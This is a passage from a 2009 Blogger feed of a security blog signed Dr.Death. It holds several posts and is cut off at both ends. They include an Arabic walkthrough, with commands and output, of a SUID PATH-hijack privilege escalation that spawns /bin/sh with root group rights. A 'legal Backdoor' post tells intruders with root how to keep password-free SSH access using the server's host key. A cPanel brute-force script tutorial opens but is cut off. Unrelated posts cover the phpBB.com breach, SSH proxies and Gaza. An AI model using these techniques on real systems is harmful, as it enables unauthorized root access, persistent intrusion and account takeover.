style="color: rgb(255, 0, 0);"&gt;-rwxr-sr-x   1 root    root    4.8K 2009-03-27 12:15 sys_exp &lt;/span&gt;&lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;شغلنا البرنامج بشكل طبيعي, واعطانا ناتج الامر&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;uname&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt; &lt;span style="color: rgb(51, 255, 51);"&gt; &lt;/span&gt;&lt;legend style="color: rgb(51, 255, 51);"&gt; &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;SecureDeath&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; lab]$&lt;/span&gt;&lt;span style="color: rgb(51, 102, 255);"&gt; ./sys_exp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Linux&lt;/span&gt; &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;رحنا على مسار&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;/tmp&lt;/span&gt;&lt;br /&gt;وعدلنا على&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;$PATH&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt; &lt;legend&gt;  &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;SecureDeath&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; lab]$&lt;/span&gt; &lt;span style="color: rgb(51, 102, 255);"&gt;cd&lt;/span&gt; /tmp&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;SecureDeath&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; tmp]$&lt;/span&gt; &lt;span style="color: rgb(51, 102, 255);"&gt;export&lt;/span&gt; PATH=.:$PATH &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;كتبنا ملف&lt;br /&gt;uname.c&lt;br /&gt;الي فيه الكود الي بيعطينا الشل&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt; &lt;legend&gt;  &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;SecureDeath&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; tmp]$&lt;/span&gt;&lt;span style="color: rgb(51, 102, 255);"&gt; cat&lt;/span&gt; &gt;&gt; uname.c &lt;&lt;&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;#include&lt;/span&gt;&lt;br /&gt;&gt; &lt;span style="color: rgb(102, 0, 204);"&gt;int&lt;/span&gt; main()&lt;br /&gt;&gt; {&lt;br /&gt;&gt; &lt;span style="color: rgb(102, 0, 204);"&gt;char&lt;/span&gt; *arg[] = {&lt;span style="color: rgb(192, 192, 192);"&gt;"/bin/sh"&lt;/span&gt;,&lt;span style="color: rgb(0, 0, 153);"&gt;NULL&lt;/span&gt;};&lt;br /&gt;&gt; execve(arg[&lt;span style="color: rgb(255, 153, 0);"&gt;0&lt;/span&gt;],arg,&lt;span style="color: rgb(0, 0, 153);"&gt;NULL&lt;/span&gt;);&lt;br /&gt;&gt; }&lt;br /&gt;&gt; &lt;span style="color: rgb(204, 0, 0);"&gt;EOF&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@SecureDeath tmp]$&lt;/span&gt;&lt;br /&gt;&lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;عملنا له كومبايل&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt; &lt;legend&gt;  &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;SecureDeath&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; tmp]$&lt;/span&gt; &lt;span style="color: rgb(51, 102, 255);"&gt;gcc&lt;/span&gt; uname.c&lt;span style="color: rgb(153, 0, 0);"&gt; -o&lt;/span&gt; uname &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;شغلنا الملف المضروب مباشره من التمب وحصلنا على الشل و اليوزر له صلاحيات قروب الرووت&lt;br /&gt;&lt;/div&gt;&lt;table style="text-align: left; margin-left: auto; margin-right: auto;" border="0" cellpadding="0" cellspacing="0" width="90%"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td class="smallfont"&gt; &lt;fieldset class="fieldset"&gt; &lt;legend&gt;  &lt;/legend&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[drdeath@&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;SecureDeath&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; tmp]$&lt;/span&gt; &lt;span style="color: rgb(51, 102, 255);"&gt;/home/drdeath/lab/sys_exp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;sh-3.2$&lt;/span&gt; &lt;span style="color: rgb(51, 102, 255);"&gt;id&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;uid=500(drdeath) gid=500(drdeath) groups=0(root),10(wheel),500(drdeath)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;sh-3.2&lt;/span&gt; &lt;/fieldset&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;تحياتي..&lt;br /&gt;Dr.Death &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1088426501839962463-336905983269809336?l=www.securedeath.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.securedeath.com/feeds/336905983269809336/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.securedeath.com/2009/04/suid-syscall.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/336905983269809336'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/336905983269809336'/><link rel='alternate' type='text/html' href='http://www.securedeath.com/2009/04/suid-syscall.html' title='مخاطر SUID &amp;amp; syscall'/><author><name>Dr.Death</name><uri>http://www.blogger.com/profile/16104367451549159245</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='05023211612874914938'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1088426501839962463.post-2373369017940974611</id><published>2009-02-02T22:40:00.007+04:00</published><updated>2009-02-03T18:29:07.996+04:00</updated><title type='text'>phpBB.com 0wn3d!!!</title><content type='html'>&lt;div id="page"&gt;      Message from phpBB.com :&lt;br /&gt;====================================================&lt;br /&gt;&lt;h1 style="text-align: center;"&gt;Maintenance&lt;/h1&gt;&lt;div style="text-align: center;"&gt;      &lt;/div&gt;&lt;p style="text-align: center;"&gt;We are sorry to report that we have been attacked through a vulnerability in an outdated PHPList installation. phpBB.com and related sites will remain unavailable while we work to recover. &lt;strong&gt;No vulnerabilities have been found in the phpBB software itself&lt;/strong&gt;.&lt;/p&gt;&lt;div style="text-align: center;"&gt;      &lt;/div&gt;&lt;p style="text-align: center;"&gt;You can download phpBB here: &lt;a href="http://www.ohloh.net/p/phpbb"&gt;http://www.ohloh.net/p/phpbb&lt;/a&gt;&lt;/p&gt;&lt;div style="text-align: center;"&gt;      &lt;/div&gt;&lt;p style="text-align: center;"&gt;You can get support at the &lt;a href="http://area51.phpbb.com/phpBB/viewforum.php?f=71"&gt;temporary support forums&lt;/a&gt; or on IRC: chat.freenode.net #phpbb&lt;/p&gt;&lt;div style="text-align: center;"&gt;      &lt;/div&gt;&lt;p style="text-align: center;" class="last"&gt;– the phpBB team&lt;/p&gt;  &lt;/div&gt;====================================================&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.phpbb.com"&gt;www.phpbb.com&lt;/a&gt; Has Been Hacked with a public exploit published on &lt;a href="http://www.milw0rm.com/exploits/7778"&gt;http://www.milw0rm.com/exploits/7778&lt;/a&gt; exploit type is "Local File inclusion" in phpBB hack "phpList".&lt;br /&gt;&lt;br /&gt;The strage thing is, how a basic attack like this succeed to attempt?&lt;br /&gt;phpBB.com they dont even use any basic IPS to block web attacks!!!&lt;br /&gt;If phpBB.com want i can provide them with a phpBB IPS hack to block the attack ;)&lt;br /&gt;&lt;br /&gt;Full story on: &lt;a href="http://hackedphpbb.blogspot.com/"&gt;http://hackedphpbb.blogspot.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Respect,&lt;br /&gt;Dr.Death&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1088426501839962463-2373369017940974611?l=www.securedeath.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.securedeath.com/feeds/2373369017940974611/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.securedeath.com/2009/02/phpbbcom-0wn3d.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/2373369017940974611'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/2373369017940974611'/><link rel='alternate' type='text/html' href='http://www.securedeath.com/2009/02/phpbbcom-0wn3d.html' title='phpBB.com 0wn3d!!!'/><author><name>Dr.Death</name><uri>http://www.blogger.com/profile/16104367451549159245</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='05023211612874914938'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1088426501839962463.post-3187480955664813396</id><published>2009-01-29T12:41:00.003+04:00</published><updated>2009-01-29T13:31:24.541+04:00</updated><title type='text'>legal Backdoor</title><content type='html'>Some Hackers they gain root privilege on a secure server but they can't install rootkit or backdoor, so what to do?&lt;br /&gt;&lt;br /&gt;actually they can login any time to the server without known the root password!!!&lt;br /&gt;&lt;br /&gt;by using RSA or  DSA private key to login.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;On Server Side:&lt;/span&gt;&lt;br /&gt;-------------------&lt;br /&gt;&lt;ul&gt;&lt;li&gt;copy the public key "&lt;span style="color: rgb(51, 204, 0);"&gt;/etc/ssh/ssh_host_dsa_key.pub&lt;/span&gt; " to "&lt;span style="color: rgb(51, 204, 0);"&gt;~/.ssh/authorized_keys&lt;/span&gt;" with &lt;span style="color: rgb(255, 0, 0);"&gt;chmod 600&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;&lt;span style="color: rgb(204, 51, 204);"&gt;#cp /etc/ssh/ssh_host_dsa_key.pub ~/.ssh/authorized_keys&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="color: rgb(204, 51, 204);"&gt;#chmod 600 ~/.ssh/authorized_keys&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;On Client Side:&lt;/span&gt;&lt;br /&gt;------------------&lt;br /&gt;&lt;ul&gt;&lt;li&gt;save the private key "&lt;span style="color: rgb(51, 204, 0);"&gt;/etc/ssh/ssh_host_dsa_key&lt;/span&gt;" to your machine with &lt;span style="color: rgb(255, 0, 0);"&gt;chmod 600&lt;/span&gt; &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;use it with SSH option "&lt;span style="color: rgb(51, 255, 51);"&gt;-i&lt;/span&gt;" to login without password.&lt;/li&gt;&lt;/ul&gt;&lt;blockquote style="color: rgb(204, 51, 204);"&gt;#chmod 600 ssh_host_dsa_key&lt;br /&gt;&lt;br /&gt;#ssh root@192.168.1.2 -i ssh_host_dsa_key&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;For Windows Users:&lt;/span&gt;&lt;br /&gt;---------------------&lt;br /&gt;&lt;ul&gt;&lt;li&gt;copy the private key "&lt;span style="color: rgb(51, 204, 0);"&gt;/etc/ssh/ssh_host_dsa_key&lt;/span&gt;" content to window notepad&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;load it in &lt;span style="color: rgb(0, 204, 204);"&gt;puttygen.exe&lt;/span&gt; and save it again with &lt;span style="color: rgb(51, 255, 51);"&gt;.ppk&lt;/span&gt; extension&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;select the key from &lt;span style="color: rgb(255, 255, 153);"&gt;putty&lt;/span&gt;&gt;&lt;span style="color: rgb(255, 255, 102);"&gt;connection&lt;/span&gt;&gt;&lt;span style="color: rgb(255, 204, 102);"&gt;SSH&lt;/span&gt;&gt;&lt;span style="color: rgb(255, 204, 51);"&gt;Auth&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;and enjoy login without password ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1088426501839962463-3187480955664813396?l=www.securedeath.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.securedeath.com/feeds/3187480955664813396/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.securedeath.com/2009/01/legal-backdoor.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/3187480955664813396'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/3187480955664813396'/><link rel='alternate' type='text/html' href='http://www.securedeath.com/2009/01/legal-backdoor.html' title='legal Backdoor'/><author><name>Dr.Death</name><uri>http://www.blogger.com/profile/16104367451549159245</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='05023211612874914938'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1088426501839962463.post-2615508255350485316</id><published>2009-01-21T02:48:00.003+04:00</published><updated>2009-01-21T02:59:15.528+04:00</updated><title type='text'>"بل تؤثرون الحياة الدنيا والآخرة خير وأبقى"</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(0, 204, 204);font-size:130%;" &gt;&lt;em style="font-family: arial;"&gt;اعمل لدنياك كأنك&lt;/em&gt;&lt;span style="font-family:arial;"&gt; تعيش أبداً و &lt;/span&gt;&lt;em style="font-family: arial;"&gt;اعمل&lt;/em&gt;&lt;span style="font-family:arial;"&gt; لأخرتك &lt;/span&gt;&lt;em style="font-family: arial;"&gt;كأنك تموت غداً&lt;/em&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 204, 204);font-size:130%;" &gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-family:Times New Roman;"&gt;Work on your life as if you live at all and Work for your Doomsday as if you die tomorrow&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/eKVU9Qlf8LY&amp;amp;hl=en&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/eKVU9Qlf8LY&amp;amp;hl=en&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1088426501839962463-2615508255350485316?l=www.securedeath.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.securedeath.com/feeds/2615508255350485316/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.securedeath.com/2009/01/blog-post_21.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/2615508255350485316'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/2615508255350485316'/><link rel='alternate' type='text/html' href='http://www.securedeath.com/2009/01/blog-post_21.html' title='&quot;بل تؤثرون الحياة الدنيا والآخرة خير وأبقى&quot;'/><author><name>Dr.Death</name><uri>http://www.blogger.com/profile/16104367451549159245</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='05023211612874914938'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1088426501839962463.post-1850528360060329093</id><published>2009-01-19T23:41:00.003+04:00</published><updated>2009-01-29T14:53:34.987+04:00</updated><title type='text'>لا حول ولا قوة الا بالله</title><content type='html'>&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/HsUj55ojB0E&amp;amp;color1=0xb1b1b1&amp;amp;color2=0xcfcfcf&amp;amp;feature=player_embedded&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;embed src="http://www.youtube.com/v/HsUj55ojB0E&amp;amp;color1=0xb1b1b1&amp;amp;color2=0xcfcfcf&amp;amp;feature=player_embedded&amp;amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" height="344" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center; color: rgb(255, 0, 0);"&gt;&lt;span style="font-size:130%;"&gt;ونسمي انفسنا رجالا!!!!&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1088426501839962463-1850528360060329093?l=www.securedeath.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.securedeath.com/feeds/1850528360060329093/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.securedeath.com/2009/01/blog-post.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/1850528360060329093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/1850528360060329093'/><link rel='alternate' type='text/html' href='http://www.securedeath.com/2009/01/blog-post.html' title='لا حول ولا قوة الا بالله'/><author><name>Dr.Death</name><uri>http://www.blogger.com/profile/16104367451549159245</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='05023211612874914938'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1088426501839962463.post-2452946528160391644</id><published>2009-01-18T02:26:00.002+04:00</published><updated>2009-01-20T02:46:00.348+04:00</updated><title type='text'>Create your own socks5 proxy</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://rickosborne.org/images/screenshots/ssh-tunnel-3.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 378px; height: 294px;" src="http://rickosborne.org/images/screenshots/ssh-tunnel-3.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Do you know that you can create your own socks5 proxy with just one command:&lt;br /&gt;&lt;br /&gt;&lt;div style="color: rgb(204, 51, 204);" class="codecontent"&gt;&lt;span style="font-size:100%;"&gt;ssh -f -N -D 5050 &lt;username&gt;&lt;username&gt;"USERNAME"@SSHserver.com&lt;/username&gt;&lt;/username&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;-f -N option is just to run ssh in background, the important option is -D.&lt;br /&gt;&lt;br /&gt;from FreeBSD &lt;a href="http://www.freebsd.org/cgi/man.cgi?query=ssh&amp;amp;apropos=0&amp;amp;sektion=0&amp;amp;manpath=FreeBSD+7.1-RELEASE&amp;amp;format=html"&gt;SSH(1)&lt;/a&gt; man:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;-D [bind_address:]port&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Specifies a local "dynamic" application-level port forwarding. This works by allocating a socket to listen to port on the local side.&lt;br /&gt;&lt;br /&gt;For windows users they can do it with putty&lt;br /&gt;&lt;div class="codetitle"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: rgb(204, 51, 204);" class="codecontent"&gt;C:\&gt;putty.exe -ssh &lt;span style="font-size:100%;"&gt;&lt;username&gt;&lt;/username&gt;&lt;/span&gt;&lt;username&gt;"USERNAME"@SSHserver.com -pw "PASSWORD"&lt;password&gt; &lt;password&gt;-P 22 -D 5050&lt;/password&gt;&lt;/password&gt;&lt;/username&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;what we did is that we connect to a ssh server (could by your remote linux or unix server, or a free shell account you have) and give it option to create a tunnel with port forwarding for port 5050&lt;br /&gt;&lt;br /&gt;if you set your browser to use socks5 proxy with the address 127.0.0.1 and port 5050, the traffic will be forwarded to the tunnel and you will browse the internet through the remote ssh server.&lt;br /&gt;&lt;br /&gt;to disable port forwarding in your server, edit &lt;span style="color: rgb(255, 0, 0);"&gt;/etc/ssh/sshd_config&lt;/span&gt;&lt;br /&gt;and set "&lt;span style="color: rgb(255, 0, 0);"&gt;AllowTcpForwarding &lt;span style="color: rgb(51, 51, 255);"&gt;yes&lt;/span&gt;&lt;/span&gt;" to "&lt;span style="color: rgb(51, 51, 255);"&gt;no&lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;enjoy..&lt;br /&gt;Dr.Death&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1088426501839962463-2452946528160391644?l=www.securedeath.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.securedeath.com/feeds/2452946528160391644/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.securedeath.com/2009/01/create-your-own-socks5-proxy.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/2452946528160391644'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/2452946528160391644'/><link rel='alternate' type='text/html' href='http://www.securedeath.com/2009/01/create-your-own-socks5-proxy.html' title='Create your own socks5 proxy'/><author><name>Dr.Death</name><uri>http://www.blogger.com/profile/16104367451549159245</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='05023211612874914938'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1088426501839962463.post-124342791079015515</id><published>2009-01-12T15:14:00.000+04:00</published><updated>2009-01-13T04:17:44.235+04:00</updated><title type='text'>GAZA We Will Never Forget You</title><content type='html'>&lt;a style="color: rgb(0, 0, 0);" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.elfarra.org/gallery/images/image2.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 256px; height: 316px;" src="http://www.elfarra.org/gallery/images/image2.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);font-family:Simplified Arabic;font-size:130%;"  &gt;&lt;span style="color: rgb(204, 204, 204);"&gt;I saw the images and they were disturbing. Images are of the Israeli assault against civilians in Gaza. I did not imagine things in Gaza are going as they are; therefore I forwarded it on to you so that you witness the crimes against humanity that the Israelis carry out.&lt;br /&gt;&lt;br /&gt;Visit this site to see what really happen there:&lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.elfarra.org/gallery/gaza.htm"&gt;&lt;span style="color: rgb(204, 51, 204);"&gt; http://www.elfarra.org/gallery/gaza.htm&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);font-family:Simplified Arabic;font-size:130%;"  &gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;أقرأ الأيات وقارن مع ما يحدث الان&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;read those words form the Holly Quran, and compare it with the current situation &lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vOrTyKqrvVo/SWsMqVglw4I/AAAAAAAAAA4/9dhykrUgkPk/s1600-h/image002.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 333px; height: 436px;" src="http://4.bp.blogspot.com/_vOrTyKqrvVo/SWsMqVglw4I/AAAAAAAAAA4/9dhykrUgkPk/s400/image002.jpg" alt="" id="BLOGGER_PHOTO_ID_5290336108744655746" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1088426501839962463-124342791079015515?l=www.securedeath.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.securedeath.com/feeds/124342791079015515/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.securedeath.com/2009/01/gaza-we-will-never-forget-you.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/124342791079015515'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1088426501839962463/posts/default/124342791079015515'/><link rel='alternate' type='text/html' href='http://www.securedeath.com/2009/01/gaza-we-will-never-forget-you.html' title='GAZA We Will Never Forget You'/><author><name>Dr.Death</name><uri>http://www.blogger.com/profile/16104367451549159245</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='05023211612874914938'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_vOrTyKqrvVo/SWsMqVglw4I/AAAAAAAAAA4/9dhykrUgkPk/s72-c/image002.jpg' height='72' width='72'/><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1088426501839962463.post-8546932259120037961</id><published>2009-01-12T14:46:00.004+04:00</published><updated>2009-09-10T18:17:05.339+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Shell script'/><title type='text'>how to build your own BruteForce tool using linux shell script</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://static.guim.co.uk/Guardian/technology/gallery/2008/aug/29/geeks.film/wargames-2431.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 356px; height: 221px;" src="http://static.guim.co.uk/Guardian/technology/gallery/2008/aug/29/geeks.film/wargames-2431.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;Hello, did you ever try to brute force a website login page and you didn't find the right tool?&lt;br /&gt;it always happen, so i will explain how i did it with linux shell script.&lt;br /&gt;&lt;br /&gt;I wrote a small script to brute force Cpanel accounts:&lt;br /&gt;============================================&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# Cpanel BruteForce v1.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;# 